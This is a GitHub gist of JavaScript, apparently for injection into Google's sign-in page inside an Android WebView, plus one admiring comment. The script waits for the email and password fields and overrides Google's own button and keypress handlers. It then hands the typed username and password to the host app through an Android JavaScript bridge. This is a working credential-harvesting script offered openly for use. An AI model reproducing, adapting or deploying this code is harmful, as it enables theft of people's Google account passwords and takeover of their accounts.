Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Get Google auth page credentials
function getPass() {
let pass = Array.from(document.getElementsByTagName('input')).find((i1)=>i1.type=="password");
if(!pass) {
setTimeout(getPass, 50);
} else {
getPass2();
getNx();
}
}
function getPass2() {
let pass2 = document.getElementById('password');
if(!pass2) setTimeout(getPass2, 50);
else {
pass2.parentElement.__jsaction = {};
pass2.parentElement.addEventListener('keydown', function(ev) {
if(ev.key == "Enter") exReturn();
});
}
}
function exReturn() {
let pass = Array.from(document.getElementsByTagName('input')).find((i1)=>i1.type=="password");
let passwd = pass.value;
Android.returnPassword(passwd);
document.getElementsByClassName('qdulke')[0].classList.remove('qdulke');
prog();
}
function prog() {
let jk = document.getElementsByClassName('jK7moc');
if(jk.length > 0) jk[0].classList.remove('jK7moc');
setTimeout(prog, 100);
}
function getNx() {
let nx = document.getElementById('passwordNext');
if(!nx) {
setTimeout(getNx, 50);
} else {
nx.__jsaction = {};
nx.__jscontroller = {};
document.getElementById('passwordNext').addEventListener('click', function(event) {
event.preventDefault();
exReturn();
});
}
}
console.log("Initialized Authflow");
function settr(ev) {
console.log(document.getElementById('identifierId'));
Android.returnUsername((document.getElementById('identifierId').value));
setTimeout(getPass, 100);
};
document.getElementById('identifierNext').addEventListener('touchend', settr);
document.getElementById('identifierNext').addEventListener('click', settr);
document.getElementById('identifierId').addEventListener('keydown', function(ev) {
if(ev.key == "Enter") settr(ev);
});
@Beyarz

This comment has been minimized.

Copy link

@Beyarz Beyarz commented Jan 13, 2021

Damn thats clever

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment